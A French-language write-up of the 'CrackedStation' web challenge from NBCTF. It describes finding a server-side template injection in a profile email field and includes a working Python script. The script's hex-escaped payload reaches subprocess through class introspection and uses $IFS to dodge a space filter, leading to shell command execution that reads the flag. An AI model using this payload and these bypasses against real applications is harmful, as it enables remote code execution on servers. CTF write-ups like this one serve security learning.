---
# System prepended metadata

title: "\U0001F9E9 Writeup CrackedStation (Web)"
tags: [NBCTF]

---

# 🧩 Writeup CrackedStation (Web)

## 🕵️‍♂️ Introduction

Un petit challenge web nommé **CrackedStation**, où le but est simple sur le papier: **lire le contenu du fichier `/flag.txt`**.

Mais évidemment, rien n’est jamais aussi simple… et on va vite se rendre compte que le serveur a quelques failles bien croustillantes.

---

## 🔍 Étape 1 - Lecture du code source

On commence par jeter un œil au code source fourni.
Après quelques minutes de fouille, on tombe sur **une SSTI (Server-Side Template Injection)** dans la page de **profile**.

C’est une de ces injections qui permet d'exécuter du code sur le serveur. Donc c’est plutôt bon pour nous !

---

## 📧 Étape 2 - Trouver le point d’injection

La SSTI se trouve dans le **champ email** du profil.
Mais voilà le twist:

* Il **doit être une adresse e-mail valide**,
* Et certains caractères sont **interdits**: `<`, `>`, `_`, ainsi que l’espace.

Donc impossible d’envoyer un payload classique du style `{{7*7}}`.
Il faut être un peu plus créatif.

```py
command = "ls"

payload = (
    "{{''['\\x5f\\x5fclass\\x5f\\x5f']"
    ".mro()[1]['\\x5f\\x5fsubclasses\\x5f\\x5f']()"
    "[-1]('" + command + "',shell=True,stdout=-1).communicate()[0].strip()}}"
)

email = payload + "@mail.com"
```

![aa5vuq](https://hackmd.io/_uploads/B1ny4jqCel.jpg)

---

## 💻 Étape 3 - Contourner le navigateur

Autre souci: le navigateur n’aime pas trop les caractères bizarres dans un champ `type="email"`.
Résultat, impossible d’envoyer notre payload depuis l’interface web.

La solution ?
Grâce à **Python** et la librairie **requests** on peut le faire à la main.

```py
import requests
import time

username = "test-" + str(int(time.time()))
password = "test"

requests.post("http://HOST:PORT/register", data={
    "username": username,
    "email": "test@mail.com",
    "password": password
})

print(f"Username: {username}")
print(f"Password: {password}")
```

Ici, rien de fou — juste une requête d’inscription automatique.

![aa5w2i](https://hackmd.io/_uploads/BJSgVicCgl.jpg)

---

## 📂 Étape 4 - Déclencher la SSTI

D’après le comportement de l’application, la SSTI ne s’exécute qu’après **avoir uploadé un fichier**, puis **visité la page de profil**.

L’ordre est donc:

1. Créer le compte via le script,
2. Se connecter avec ces identifiants,
3. Uploader un fichier (n’importe quoi),
4. Visiter la page **Profile**.

Et là, notre payload Python est exécuté côté serveur !

![aa5wds](https://hackmd.io/_uploads/ByiGVjqRgl.jpg)

---

## 🐚 Étape 5 - Lecture du flag (sans espaces)

Maintenant qu’on sait que la SSTI fonctionne, on tente la lecture du flag.
Classiquement, on ferait:

```bash
cat /flag.txt
```

Mais… **les espaces sont interdits**.
Heureusement, `$IFS` (Internal Field Separator) est là:

```bash
cat$IFS/flag.txt
```

Et voilà, le serveur nous renvoie le flag !!!

```
NBCTF{Tr1p1€_C0mm4nd_($$T)Inj€ct10n_F0r_Th3_W1N!}
```

![Sans titre](https://hackmd.io/_uploads/BklN4s9Reg.jpg)

---

## 🧠 Conclusion

Voici le script complet:

```py
import requests
import time

# --- Commande à exécuter sur le serveur ---
command = "cat$IFS/flag.txt"

# --- Payload SSTI encodé pour contourner les filtres ---
payload = (
    "{{''['\\x5f\\x5fclass\\x5f\\x5f']"
    ".mro()[1]['\\x5f\\x5fsubclasses\\x5f\\x5f']()"
    "[-1]('" + command + "',shell=True,stdout=-1).communicate()[0].strip()}}"
)

# --- Email valide contenant le payload ---
email = payload + "@mail.com"

# --- Identifiants temporaires ---
username = "test-" + str(int(time.time()))
password = "test"

# --- Envoi de la requête d'inscription ---
resp = requests.post("http://HOST:PORT/register", data={
    "username": username,
    "email": email,
    "password": password
})

print("Status code:", resp.status_code)
print(f"Username: {username}")
print(f"Password: {password}")
```

Un challenge que j'ai beaucoup apprécié, mélangeant:

* Une **SSTI** discrète,
* Des **filtres tordus**,
* Et **une bonne dose de recherche** pour trouver l'existance de `$IFS`.

Bref, un très bon exercice pour s'améliorer en web !
